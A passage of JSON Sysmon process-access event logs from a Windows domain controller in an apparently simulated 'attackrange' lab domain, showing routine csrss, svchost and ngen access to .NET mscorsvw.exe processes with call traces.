dll+6e871","EventReceivedTime":"2020-08-07 12:01:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7253,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:58.244\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42A7-5F2D-0000-001007600B00}\r\nTargetProcessId: 4624\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:58.244","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42A7-5F2D-0000-001007600B00}","TargetProcessId":"4624","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7254,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:58.260\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B6-5F2D-0000-001037A90C00}\r\nTargetProcessId: 4624\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:58.260","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B6-5F2D-0000-001037A90C00}","TargetProcessId":"4624","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7255,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:58.322\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-001051AB0B00}\r\nTargetProcessId: 4684\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:58.322","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-001051AB0B00}","TargetProcessId":"4684","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7256,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:58.322\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-001051AB0B00}\r\nTargetProcessId: 4684\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:58.322","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-001051AB0B00}","TargetProcessId":"4684","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7257,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:58.338\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B6-5F2D-0000-001050AD0C00}\r\nTargetProcessId: 4684\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:58.338","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B6-5F2D-0000-001050AD0C00}","TargetProcessId":"4684","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7258,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:58.385\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B6-5F2D-0000-0010FFB00C00}\r\nTargetProcessId: 4768\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:58.385","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B6-5F2D-0000-0010FFB00C00}","TargetProcessId":"4768","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7259,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:58.385\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B6-5F2D-0000-0010FFB00C00}\r\nTargetProcessId: 4768\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:58.385","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B6-5F2D-0000-0010FFB00C00}","TargetProcessId":"4768","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7260,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:58.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B6-5F2D-0000-0010FFB00C00}\r\nTargetProcessId: 4768\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:58.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B6-5F2D-0000-0010FFB00C00}","TargetProcessId":"4768","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7261,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:58.447\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: 